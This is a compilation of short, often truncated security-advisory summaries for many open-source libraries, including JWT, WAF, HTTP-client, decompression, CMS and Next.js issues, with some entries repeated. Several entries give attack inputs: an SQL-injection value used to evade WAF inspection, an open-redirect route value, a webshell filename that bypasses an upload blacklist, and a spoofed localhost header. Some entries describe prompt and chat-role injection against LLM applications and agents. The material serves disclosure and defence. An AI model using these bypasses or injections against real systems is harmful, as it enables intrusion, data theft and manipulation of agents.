fast-jwt's createVerifier silently skips all configured claim validators (exp, nbf, iss, aud, sub, jti, nonce) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented allowedIss / allowedAud / allowedSub / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be …

extractPivotTableFields builds order := pc.getPivotCacheFieldsName() from xl/pivotCache/pivotCacheDefinitionN.xml's list, then indexes it with values taken from a separately parsed xl/pivotTables/pivotTableN.xml part with zero cross-validation: order[field.Fld] where field.Fld is a raw attacker-controlled int from the <dataField fld="N"> attribute, and order[fieldIdx] where fieldIdx is a loop index over pt.PivotFields.PivotField that need not match the cache's field count. I executed two independent PoCs against the current HEAD: (1) trimmed the pivot cache's to count=0 …

A worksheet whose <row r="…"> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core …

GetSlicers guards only if ws.ExtLst == nil { return } (slicer.go:816-818) and then immediately dereferences ws.Drawing.RID with no nil check on ws.Drawing itself. Drawing and ExtLst are two independently optional child elements of in xl/worksheets/sheetN.xml, populated separately by encoding/xml depending on whether each tag is present. I executed a PoC: took a plain NewFile() workbook (no drawing, no slicer), saved it, then injected a bare <extLst></extLst> immediately before </worksheet> in …

extractPart allocates directly from the mscfb directory-entry size with no clamping (crypt.go:198, same missing bound at crypt.go:204): buf := make([]byte, entry.Size) entry.Size is the raw streamSize field from the attacker-controlled CFB directory entry (mscfb v1.0.8 fixFile, file.go:109-120: full uint64 → int64 for major version 4, low uint32 for v3). mscfb only detects short sector chains later, inside File.Read (file.go:485-489 "emergency brake") — i.e. after the allocation. The zip path already …

Any file whose first 8 bytes are the OLE compound-file signature (D0 CF 11 E0 A1 B1 1A E1) is routed by OpenFile/OpenReader/OpenBytes → openReaderAt → Decrypt. The version dispatch only guarantees len(EncryptionInfo) >= 4 before handing attacker-controlled EncryptionInfo/EncryptedPackage buffers to standardDecrypt/agileDecrypt, and no callee validates structure. Malformed but version-valid content therefore fails as an unrecovered runtime panic instead of an error, terminating the calling process.

ANCHORARRAY (calc.go:15137 on current master) evaluates each cell of the referenced spill range by calling the exported CalcCellValue, which unconditionally constructs a fresh calcContext — fresh entry marker, fresh iterations map, full MaxCalcIterations budget (calc.go:896-900). The circular-reference control only exists within one context: the entry-exclusion marker and per-ref iteration budget are fields of that single context, and completion-based caching (formulaArgCache/calcRawCache) only ever stores results of evaluations that finish. During a …

A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline). This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version. Affected installations: …

A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker. Affected installations: enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents WordPress Safe SVG plugin: 1M+ …

When processing an attacker-controlled Protobuf schema, vulnerable versions of datamodel-code-generator could write a generated weak-import stub outside the intended weak_imports temporary directory. Absolute import paths and relative paths containing .. could escape this directory. An attacker could create directories and new files at locations writable by the process. Relative path traversal could also overwrite existing writable files because the existence check and the stub write used different base directories. An …

Coraza fails to inspect URL-encoded form bodies when their valid Content-Type contains a media-type parameter, for example: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 An unauthenticated attacker can use this header to hide the complete form body from custom Coraza rules that inspect ARGS_POST or REQUEST_BODY, while the bundled Go HTTP middleware forwards the body and the backend parses it normally. This is a deterministic request-body inspection bypass. Suggested severity: Medium. Current OWASP CRS …

The JSON response body processor parses response bodies with no recursion limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and that constant is -1. The guard in readItems only fires on == 0, so counting down from -1 (-2, -3, …) never reaches it. The guard is effectively dead on the response path. The request path is fine: ProcessRequest passes the configured limit (default 1024). There is no equivalent directive or default for …

defer temp.Close() sits inside a for loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until ProcessRequest() exits. Send enough parts and you hit EMFILE. With CRS loaded, that flips MULTIPART_STRICT_ERROR to 1 and rule 200001 starts returning 400s, including on legitimate requests hitting the same condition.

Root Cause File: internal/corazawaf/transaction.go, lines 834–866. parsedURL, err := url.ParseRequestURI(uri) query := "" if err != nil { tx.variables.urlencodedError.Set(err.Error()) path = uri tx.variables.requestURI.Set(uri) /* tx.Variables.VARIABLE_URI_PARSE_ERROR.Set("1") posRawQuery := strings.Index(uri, "?") if posRawQuery != -1 { tx.ExtractArguments("GET", uri[posRawQuery+1:]) path = uri[:posRawQuery] query = uri[posRawQuery+1:] } else { path = uri } tx.Variables.RequestUri.Set(uri) */ } else { tx.ExtractGetArguments(parsedURL.RawQuery) // only path that populates ARGS_GET tx.variables.requestURI.Set(parsedURL.String()) path = parsedURL.Path query = parsedURL.RawQuery } … …

Coraza extracts a multipart file upload's filename using Go's standard-library mime.ParseMediaType, which only decodes the RFC 5987/6266 extended filename* Content-Disposition parameter when its declared charset is exactly us-ascii or utf-8. Any other charset — including iso-8859-1, which RFC 5987 explicitly permits — is silently dropped by the stdlib, with no error and no fallback signal. This lets an attacker present one filename to Coraza and a different one to the …

The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF …

The JSON body processor (internal/bodyprocessors/json.go) can be made to crash the whole process with an unrecoverable fatal error: stack overflow, using a request body that is well under the recommended SecRequestBodyLimit and the default SecArgumentsLimit.

Coraza's cookie parser (internal/cookies.ParseCookies) does not strip ASCII control characters (CTLs) from the edges of a cookie name/value before they're matched against REQUEST_COOKIES / REQUEST_COOKIES_NAMES. When a CTL sits directly next to the = separator, Coraza absorbs it into the adjacent name or value, while several backend cookie parsers trim it away — so the WAF and the application disagree about the cookie it just received.

Coraza's JSON body processor converts nested JSON properties into dot-separated ARGS_POST names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable An unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property: { "account": { "role": "1' OR '1'='1" }, "account.role": "safe" } Coraza stores both properties …

Rendering an untrusted SVG whose <path d="…"> contains many segments is O(n²) CPU. A single <path> under 1 MiB burns tens of seconds. Two independent O(n²) sites in cairosvg/path.py: Tokenizer — the path-data parser consumes the d string with a while string: loop that repeatedly slices/re-scans the remaining string (each step is O(len remaining)), giving O(n²) over the whole attribute. draw_markers — marker handling drains node.vertices with while node.vertices: … …

Banks' Prompt.chat_messages() method parses every rendered output line as a potential ChatMessage JSON object. If attacker-controlled template data renders to JSON such as {"role":"system","content":"…"}, Banks returns it as a privileged system message instead of treating it as plain user-controlled text. Applications that render untrusted user input with Prompt.chat_messages() and pass the returned messages directly to an LLM provider may be vulnerable to chat role injection and prompt boundary bypass.

In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().

When a ws:// request is routed through an HTTP proxy with proxy authentication configured, the client tunnels the connection with an HTTP CONNECT, the same as it does for https://. Once the tunnel is open, the WebSocket upgrade request that follows is sent through the tunnel directly to the origin server, not to the proxy. The proxy-auth gate and the companion request-target selection keyed only on whether the URI was …

With WebSocket compression enabled, the client inflates permessage-deflate messages with no limit on the decompressed size. It installed Netty's shared WebSocketClientCompressionHandler.INSTANCE, whose inflater is unbounded, and webSocketMaxFrameSize and webSocketMaxBufferSize only bound the compressed bytes, because the frame aggregator sits in front of the inflater. A malicious or compromised WebSocket server, or anyone on the path of a ws:// connection, can therefore send a message of about 2 MiB that inflates …

When a request is replayed onto a different host, the client updates only the current request and leaves the target request pointing at the original host. Four consumers read that stale value, and each one sends the first host's request, credentials, or both to the second host. A replay happens through documented, ordinary features: a ResponseFilter that returns a different request, which is the supported failover pattern, and the IOException …

The fix for GHSA-vvp4-63h8-v5pm in 3.0.13 folded the authenticated principal into the HTTP/1.1 connection pool key, so that a connection one principal authenticated with NTLM, Kerberos or SPNEGO is not handed to another. It left three cases out. In each, a socket that one identity authenticated can still be drawn by a request belonging to a different identity, and the server serves that request as the first one. A login …

A Digest challenge that does not yield a usable nonce is treated as a Basic challenge. The client then answers it with Authorization: Basic, which carries the username and password base64 encoded and so recoverable by anyone who sees the request. Any of these is enough, sent by whoever writes the 401 or 407: WWW-Authenticate: Digest realm="protected" WWW-Authenticate: Digest realm="protected", nonce="" The challenge announces itself as Digest, so it passes …

The client nonce used in HTTP Digest authentication was generated from ThreadLocalRandom, a fast but non-cryptographic pseudorandom number generator. RFC 7616 section 3.3 requires the cnonce to be unpredictable, since it is part of what protects the Digest exchange against chosen-plaintext and precomputation attacks on the credentials. An attacker able to observe or influence enough of the generator's output could reduce the unpredictability the protocol depends on. NTLM (and, on …

The cookie store ignores the scheme a Set-Cookie arrived on. draft-ietf-httpbis-rfc6265bis-22 (approved to obsolete RFC 6265, in the RFC Editor queue) Section 5.7 requires a user agent to ignore a cookie with the Secure attribute unless it arrived over a secure connection (step 13), and to ignore a non-Secure cookie from an insecure connection when it would overlay a Secure cookie the store already holds (step 16). Neither rule is …

The cookie store decides whether a Domain attribute may be accepted using only the domain-matching rule of RFC 6265 Section 5.1.3, which asks whether the request host is the domain or ends with a dot followed by it. Section 5.3 step 5, which additionally requires rejecting a Domain that is a public suffix, is not implemented anywhere in the client. So a host under a multi-label public suffix can set …

With the cookie store enabled, which is the default, a Cookie header that the caller sets on a request with setHeader or addHeader is thrown away whenever the store holds any cookie for the request's origin: the request's cookie list is written into that header afterwards and replaces it. CVE-2024-53990 fixed the same problem for cookies added with addCookie, but that fix works on the cookie list, and a header …

The frame-size mitigation released in amqp091-go v1.13.0 can be bypassed before connection.tune completes. A malicious or compromised AMQP peer can send only a seven-byte body-frame header containing a large attacker-controlled uint32 payload length. The client allocates a slice of that declared length before it verifies that the payload exists or rejects the frame for its invalid protocol state. The bypass occurs because Connection.maxFrameSize starts at zero. The reader interprets zero …

Route parameters are inserted into generated URLs without URI encoding. When an application passes untrusted input to a route whose first path segment is dynamic, a value beginning with / can produce a scheme-relative URL. For example: router.get('/:page', handler).as('pages.show') response.redirect().toRoute('pages.show', { page: '/evil.example.com', }) This generates the following redirect: Location: //evil.example.com Browsers interpret this value as an external URL and redirect the user to https://evil.example.com.

When no system-installed liblz4-java is found, net.jpountz.util.Native.load() extracts the bundled native library to java.io.tmpdir and loads it with System.load. The path of the extracted library can be predicted before it is created, and the library file is opened without exclusive creation. Another local user who can write to the same temporary directory can therefore create the file first and control the code that is loaded.

When no system-installed liblz4-java is found, net.jpountz.util.Native.load() extracts the bundled native library to java.io.tmpdir and loads it with System.load. The path of the extracted library can be predicted before it is created, and the library file is opened without exclusive creation. Another local user who can write to the same temporary directory can therefore create the file first and control the code that is loaded.

LZ4FrameInputStream allocates two new buffers of the frame's maximum block size, up to 4 MiB each, every time it reads a frame header. Because concatenated frames are read by default, an input made of many minimal empty frames forces about 8 MiB of zeroed heap allocation for every 11 input bytes.

LZ4FrameInputStream allocates two new buffers of the frame's maximum block size, up to 4 MiB each, every time it reads a frame header. Because concatenated frames are read by default, an input made of many minimal empty frames forces about 8 MiB of zeroed heap allocation for every 11 input bytes.

LZ4DecompressorWithLength.decompress(byte[], int) allocates whatever size the 4-byte length header declares, before it reads a single byte of compressed data. A 5-byte input whose header says 0x40000000 makes the JVM commit a gigabyte and can cause heap exhaustion.

LZ4DecompressorWithLength.decompress(byte[], int) allocates whatever size the 4-byte length header declares, before it reads a single byte of compressed data. A 5-byte input whose header says 0x40000000 makes the JVM commit a gigabyte and can cause heap exhaustion.

When LZ4BlockInputStream is configured with stopOnEmptyBlock = false (the mode for reading concatenated block streams), it handles each empty block by calling refill() recursively. A long run of empty blocks exhausts the thread stack and throws StackOverflowError out of read() or skip().

When LZ4BlockInputStream is configured with stopOnEmptyBlock = false (the mode for reading concatenated block streams), it handles each empty block by calling refill() recursively. A long run of empty blocks exhausts the thread stack and throws StackOverflowError out of read() or skip().

LZ4BlockInputStream grows its compressed-input buffer to the attacker-controlled compressedLen value from the legacy LZ4Block stream header before reading any payload bytes. A header-only input can therefore trigger a near-2 GiB allocation and exhaust the JVM heap.

LZ4BlockInputStream grows its compressed-input buffer to the attacker-controlled compressedLen value from the legacy LZ4Block stream header before reading any payload bytes. A header-only input can therefore trigger a near-2 GiB allocation and exhaust the JVM heap.

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error. Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the …

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped …

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token …) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials: Logout …

This was found during a pentest, funded by the NLNnet foundation, conducted by Stefan Vink from Radically Open Security and the only High issue found. WeasyPrint passes fetched image bytes directly to Pillow's generic format dispatcher without restricting the input format. When Ghostscript is installed on the host, Pillow's EpsImagePlugin invokes it to rasterize attacker-controlled EPS/PS input. Any content that can supply an image to WeasyPrint (an URL, CSS image …

vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:[''] or explicit child_process allowance. This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:[''] or names them explicitly — the list contains …

wildcardToRegexp() in twisted/mail/imap4.py converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (* → (?:.?) and % → (?:(?:[^\/])?)) but passes every other character through unchanged to re.compile(). This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as (a+)+z. Because Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes …

A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That …

com.rabbitmq.tools.json.JSONReader.read() never returns when its input ends inside a quoted string or a // line comment. Both scanners walk the input with StringCharacterIterator.next() but only compare against a delimiter, so once the iterator reaches CharacterIterator.DONE (￿) they loop forever. The string scanner (string(), line 210, while (c != sep)) also appends ￿ to a StringBuilder every iteration, so it fills the heap and throws OutOfMemoryError, taking down the JVM. The …

When property-file/Map-based ConnectionFactory setup fails while parsing the uri key, the library wraps the underlying exception with the raw connection string — including the plaintext username and password — baked verbatim into the new exception's message.

One unauthenticated request with a crafted User-Agent stalls a Quasar SSR server for seconds. Quasar auto-installs its Platform plugin on every server-side render, and Platform.parseSSR() feeds the raw, unbounded User-Agent request header into a chain of backtracking regular expressions in getMatch(). One of those patterns contains a greedy capture followed by two unbounded .* scans, so a crafted header costs time proportional to the cube of its length. An 8 …

Type: CWE-79 Cross-Site Scripting Auth required: No (attacker only needs to influence any text that reaches useMeta() — an extremely common pattern, e.g. blog titles, product names, user display names) Consequence: Full client-side script execution in the victim site's origin — session/cookie theft, credential phishing overlays, account takeover, defacement. Unlike a typical XSS bug requiring a specific unusual injection point, this affects the single most common useMeta() use case (rendering …

The error page that Quasar CLI shows when an SSR or SSG render throws in development serializes every variable in process.env, every request header and every cookie into the HTTP response, and the dev server binds 0.0.0.0 by default. Any host that can reach the port therefore gets the developer's cloud keys, registry tokens and database URLs from a single unauthenticated GET. The same page embeds that data inside a …

The error page that Quasar CLI shows when an SSR or SSG render throws in development serializes every variable in process.env, every request header and every cookie into the HTTP response, and the dev server binds 0.0.0.0 by default. Any host that can reach the port therefore gets the developer's cloud keys, registry tokens and database URLs from a single unauthenticated GET. The same page embeds that data inside a …

Type: CWE-22 Path Traversal / Arbitrary File Write Auth required: No network auth — local CLI trust; requires the developer to run icongenie against a profile they didn't fully author/audit themselves Consequence: Arbitrary file write/overwrite at any path the running user can write to, scoped by the number of .. segments — can lead to persistence (cron/shell rc file) or supply-chain-style code execution if the written file is later executed/sourced.

A DOM Clobbering vulnerability exists in Quasar's openURL() utility when handling the iOS SafariViewController bridge. The vulnerable implementation only checks whether window.SafariViewController exists before invoking it as a native bridge object. An attacker who can inject HTML content containing a named element such as <a id="SafariViewController"> can cause the browser to expose that element as window.SafariViewController. When openURL() is later called in an iOS environment, Quasar incorrectly treats the DOM …

The @quasar/ssl-certificate development utility caches a combined PEM containing a generated private key and certificate without explicitly restricting its filesystem permissions. On systems with a typical process umask, the PEM can be readable by other local users. A local attacker with filesystem access could copy and reuse the private key to impersonate a development TLS endpoint in an environment that trusts the certificate. The generated certificate was also unnecessarily CA-capable …

The @quasar/ssl-certificate development utility caches a combined PEM containing a generated private key and certificate without explicitly restricting its filesystem permissions. On systems with a typical process umask, the PEM can be readable by other local users. A local attacker with filesystem access could copy and reuse the private key to impersonate a development TLS endpoint in an environment that trusts the certificate. The generated certificate was also unnecessarily CA-capable …

The @quasar/ssl-certificate development utility caches a combined PEM containing a generated private key and certificate without explicitly restricting its filesystem permissions. On systems with a typical process umask, the PEM can be readable by other local users. A local attacker with filesystem access could copy and reuse the private key to impersonate a development TLS endpoint in an environment that trusts the certificate. The generated certificate was also unnecessarily CA-capable …

Several @quasar/app-vite SSR and SSG renderer paths interpolate ssrContext.nonce directly into quoted HTML attributes. An application that derives or overrides the nonce using untrusted data can allow a quote to terminate the nonce attribute and inject additional attributes or markup into generated HTML. Cryptographically generated base64 or base64url nonces are not directly affected because they do not contain HTML attribute delimiters. Exploitation requires an application to place attacker-controlled or otherwise …

During an SSG build, page definitions returned by getSsgPages() can provide custom dir and filename values. The builder joined those values to build.distDir and wrote the generated page without verifying that the final destination remained inside the distribution directory.

@quasar/app-vite recursively removes build.distDir before producing build artifacts. The configured path was made absolute, but it was not checked before removal. A configuration mistake could therefore target the project root, user home directory, a filesystem root, or another directory outside the project.

Injection Defense is a purpose-built prompt injection defense layer. It scans LLM inputs through six detection categories: instruction overrides, authority claims, boundary manipulation, obfuscation, financial manipulation, and self-harm instructions. The defense is misconfigured by default. The block threshold defaults to Threat Level. CRITICAL, which is only reached when 3 or more detection checks fire simultaneously. A single-check match — including the explicitly flagged "dangerous" categories instruction override and financial manipulation …

praisonai-platform issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.

The DNS-rebinding / redirect SSRF bypass in PRAI-05 is not limited to the httpx/urllib backend. When crawl4ai (headless Chromium via Playwright) is installed, web_crawl auto-selects provider=crawl4ai, and the headless browser re-resolves DNS and follows redirects on its own — with no per-connection SSRF guard. Runtime-confirmed read-back of the internal canary via both DNS rebinding and redirect (provider: "crawl4ai"). Status: runtime-confirmed addendum to PRAI-05.

The deploy/api.py module generates Python server code by directly interpolating the agents_file parameter into an f-string that is then written to a file and executed via subprocess.Popen(). An attacker who controls the agents_file value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code.

praisonai AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled message.received JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.

PraisonAI's AgentMail bot, when run in webhook (or hybrid) mode, starts an aiohttp webhook server bound to 0.0.0.0 and processes inbound message.received events without verifying any signature/HMAC and without authentication. The sender address and message body are taken directly from the attacker-controlled request body, so any network peer can inject messages into the agent with a spoofed sender (bypassing sender allow/block lists) and have the agent process the content and …

Under certain local upload configurations, an uploaded XML file and stylesheet could execute JavaScript in the Payload origin when a logged-in user opens the file. You are affected if: You accept XML uploads (accepted by default).

An attacker can submit a request to a specific endpoint that permits collection documents to be updated regardless of access control and field level access control. You are affected if: You are configuring orderable: true with any collection or join field.

Impact An unauthenticated attacker who knows an account’s email address or username could trigger Payload’s account lockout mechanism and prevent that user from signing in. You are affected if: Using an affected Payload version with an auth-enabled collection that uses local authentication and account lockout. Applications that do not use Payload local authentication are not affected. Patches Successful password resets now clear the account’s lockout state. The forgot-password flow also …

An attacker who has read plus create or update access to a collection can submit a request that includes a SQL injection targeting a specific field path shape and operators in Payload's SQLite and Postgres.

An attacker who has read plus create or update access to a collection can submit a request that includes a SQL injection targeting a specific field path shape and operators in Payload's SQLite and Postgres.

An attacker who has read plus create or update access to a collection can submit a request that includes a SQL injection targeting a specific field path shape and operators in Payload's SQLite and Postgres.

An attacker who has read plus create or update access to a collection can submit a request that includes a SQL injection targeting a specific field path shape and operators in Payload's SQLite and Postgres.

A crafted request to the public first-register operation can be used to perform a RCE exploit. You are affected if: You use local auth strategy and your application remains without an initial user created

Under certain conditions, an authenticated user with permission to modify uploads could cause unintended files to be removed during file cleanup. This may result in data loss or service disruption. You are affected if: You use Payload upload collections with local file storage. Untrusted authenticated users can update or delete uploads. Deployments that restrict upload management to trusted users are less exposed.

A vulnerability in field-level access control could allow an authenticated user to modify fields they are not permitted to change on documents they can otherwise update. You are affected if: Payload version < 3.87.0 (or a 4.0.0-canary release before 4.0.0-canary.20) using the MongoDB adapter (@payloadcms/db-mongodb) with any collection that relies on field-level access control to restrict writes under certain conditions. Relational adapters (Postgres, SQLite) are not affected.

An authenticated user could overwrite an existing S3 object belonging to another upload collection, bypassing that collection’s access controls and prior file validation. You are affected if ALL of these are true: Client uploads are enabled for multiple collections that share an S3 bucket. useCompositePrefixes is not configured or is set to false.

A malicious SVG file upload could bypass sanitization, be stored, and execute attacker-controlled JavaScript (XSS) after a user downloads it and opens it. You are affected if: You have a collection configured to upload and allow SVG files which can then be downloaded by users.

When using the default tenant array field access, an authenticated user could assign themselves to other tenants. You are affected if: You are using @payloadcms/plugin-multi-tenant If you configure the tenants arrayFieldAccess.create/update functions, a secured replacement membership field, you are not affected by this specific default behavior.

A vulnerability in @payloadcms/plugin-form-builder in versions < 3.90.0 allow submissions which could be crafted to execute remote code on the server. You are affected if: You are using @payloadcms/plugin-form-builder

Under certain external upload configurations, Payload could send authentication data to a destination that was not verified as trusted. If the affected request contained a valid session, this could expose that session to an unintended recipient. You are affected if: You have enabled external URL-based upload retrieval, where authenticated requests can trigger it.

Under certain field configurations, Payload could include unintended values in the authentication token issued at login. You are affected if: You use an affected Payload version and have configured a custom field option that maps a field to a reserved authentication claim name.

Pending use cache fills are shared across requests for the same key without distinguishing Draft Mode requests from regular requests. When two such requests overlap, the second request receives the first request's fill: A regular request that overlaps an editor's Draft Mode request receives unpublished content, without any authentication. A Draft Mode request that overlaps a regular request receives published content instead of the draft. If the overlapping regular request …

An attacker-controlled, allow-listed remote URL can lead to server-side request forgery (e.g. to private IPs) during Image Optimization.

The Next.js development server (next dev) exposes a Model Context Protocol endpoint that does not verify which website a request originates from, allowing a malicious website visited by the developer to read sensitive development data — including the project's location on disk, source code snippets from error reports, the route inventory, and development logs. Only applications run with next dev are affected. Production deployments do not serve this endpoint.

In Next.js App Router applications built with webpack, metadata image routes such as opengraph-image and twitter-image ignore the dynamicParams route segment option. An attacker can request metadata image URLs for dynamic segments that were deliberately excluded from generateStaticParams().

Self-hosted Next.js applications that use the Pages Router with statically generated (SSG) or incrementally regenerated (ISR) pages can have a page's cache entry replaced with content from a different route, causing the affected page to serve wrong content to every visitor until the entry is revalidated. Applications deployed on Vercel are not affected.

Next.js applications that use a root-level catch-all page together with statically generated or Incremental Static Regeneration routes can have their shared response cache poisoned by a single unauthenticated crafted request.

Both packages wrap an mppx payment method so that a wallet meeting on-chain conditions is granted free access instead of being charged. The free-access path reads the payer address from credential.source — a client-supplied DID in the payment credential — asks InsumerAPI whether that address satisfies the configured conditions, and on a pass returns a successful receipt without ever calling the wrapped payment verifier. Nothing in that path establishes that …

Both packages wrap an mppx payment method so that a wallet meeting on-chain conditions is granted free access instead of being charged. The free-access path reads the payer address from credential.source — a client-supplied DID in the payment credential — asks InsumerAPI whether that address satisfies the configured conditions, and on a pass returns a successful receipt without ever calling the wrapped payment verifier. Nothing in that path establishes that …

LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data. With ownPropertyOnly: true, direct access such as: {{ a[0] }} correctly blocks an inherited array index. However, the same inherited value is still disclosed through: .first .last negative indexing for-loop iteration first last join reverse slice compact

Before Langflow 1.10.3, the MCP stdio transport launched whatever command / args a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in bash -c "exec {command} …". Any user able to reach the MCP server settings ("Settings → MCP Servers → Add MCP Server", POST/PATCH /api/v2/mcp/servers/{server_name}) or to build a flow with the MCP Tools component could add a "server" whose command is an …

Before Langflow 1.10.3, the MCP stdio transport launched whatever command / args a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in bash -c "exec {command} …". Any user able to reach the MCP server settings ("Settings → MCP Servers → Add MCP Server", POST/PATCH /api/v2/mcp/servers/{server_name}) or to build a flow with the MCP Tools component could add a "server" whose command is an …

Before Langflow 1.10.3, the MCP stdio transport launched whatever command / args a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in bash -c "exec {command} …". Any user able to reach the MCP server settings ("Settings → MCP Servers → Add MCP Server", POST/PATCH /api/v2/mcp/servers/{server_name}) or to build a flow with the MCP Tools component could add a "server" whose command is an …

An IP spoofing vulnerability in the Model Context Protocol (MCP) configuration installation endpoint (POST /api/v1/mcp/project/{project_id}/install) allowed authenticated remote attackers to bypass the "local-only" access restriction. By sending a spoofed X-Forwarded-For: 127.0.0.1 header, an attacker could make the server treat the request as originating from localhost, letting them write/overwrite an MCP client configuration file on the server's filesystem.

Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership. This is a cross-user …

Before Langflow 1.10.1, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path: POST /api/v1/build/{flow_id}/vertices (retrieve_vertices_order) POST /api/v1/build/{flow_id}/vertices/{vertex_id} (build_vertex) Any authenticated user who knows (or obtains) another user's flow_id could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response. Both routes …

Before Langflow 1.10.1, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path: POST /api/v1/build/{flow_id}/vertices (retrieve_vertices_order) POST /api/v1/build/{flow_id}/vertices/{vertex_id} (build_vertex) Any authenticated user who knows (or obtains) another user's flow_id could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response. Both routes …

The MediaBundle blocks dangerous upload extensions with a blacklist that was matched case-sensitively, while the stored filename was lowercased afterwards. A file uploaded as webshell.pHp therefore bypassed the blacklist and was written to the web-accessible upload directory as webshell.php, where the web server executed it. Any authenticated backend user with access to the media section could obtain remote code execution.

The MediaBundle blocks dangerous upload extensions with a blacklist that was matched case-sensitively, while the stored filename was lowercased afterwards. A file uploaded as webshell.pHp therefore bypassed the blacklist and was written to the web-accessible upload directory as webshell.php, where the web server executed it. Any authenticated backend user with access to the media section could obtain remote code execution.

